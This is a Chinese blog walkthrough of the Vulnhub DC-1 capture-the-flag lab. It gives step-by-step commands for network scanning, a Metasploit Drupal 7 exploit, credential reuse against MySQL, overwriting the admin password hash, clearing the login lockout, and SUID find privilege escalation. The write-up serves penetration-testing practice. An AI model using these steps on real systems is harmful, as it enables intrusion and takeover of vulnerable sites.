Vulnhub DC-1
Vulnhub DC-1#
第一次接触渗透。全程按照师傅操作。
预备#
导入被攻击机,配置网络为同一模式,保证和kali在同一网段。已知共5个flag。
渗透#
nmap -sP 192.168.9.0/24
找到被攻击机ip之后进行端口扫描
nmap -p- 192.168.9.130
发现开启22端口和80端口
根据wapplyzer插件可知cms为drupal 7
尝试msf
msfconsole#启动msf
search drupal#搜索漏洞
use 1#选择漏洞
show options
set RHOSTS 192.168.9.130#设置空余选项
exploit#启动攻击
shell
python -c 'import pty;pty.spawn("/bin/bash")'#启动交互式
拿下第一个flag
Every good CMS needs a config file - and so do you.
提示配置文件,进入站点目录sites
在settings.php中拿到flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
下面可以看到数据库信息,尝试连接数据库
mysql -udbuser -pR0ck3t
尝试修改admin密码来登录后台。去找加密逻辑。
在scripts文件夹下的password-hash.sh
找到加密逻辑,运行尝试替换。
出现报错如下
www-data@DC-1:/var/www/scripts$ ./password-hash.sh "123456"
./password-hash.sh "123456"
PHP Warning: include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/password.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(/var/www/scripts/includes/bootstrap.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 84
PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/bootstrap.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 84
PHP Fatal error: Call to undefined function user_hash_password() in /var/www/scripts/password-hash.sh on line 87
说明password.inc
不在目录下,将整个includes文件夹复制到scripts目录下重新执行即可。或者用root选项执行指定drupal根目录即可解决问题
www-data@DC-1:/var/www/scripts$ ./password-hash.sh --root "/var/www" "123456"
./password-hash.sh --root "/var/www" "123456"
password: 123456 hash: $S$DhKZsxG0S3dHz/X37deB08I7W/2PsIRFeZ6Tc5cQ29SRRFLxXVau
更行数据库登录后台
update users set pass='$S$DhKZsxG0S3dHz/X37deB08I7W/2PsIRFeZ6Tc5cQ29SRRFLxXVau' where name = 'admin';
由于我之前瞎试了超过5次,会锁ip一段时间,可以在数据库输入truncate flood
就可以再试了。
在后台content中发现flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
提示看shadow文件,需要进行提权。
提权#
find / -perm -4000 2>/dev/null
查看具有suid权限程序。发现find具有suid权限,利用find命令进行提权
touch tourist
find / -name tourist -exec "/bin/sh" \;
在根目录下拿到flag5
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
对于flag4在/etc/passwd
中发现存在flag4用户,进入flag4家目录即可得到flag4。
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
作者:场-room
出处:https://www.cnblogs.com/chang-room/p/18677447
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
Cogito ergo sum
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现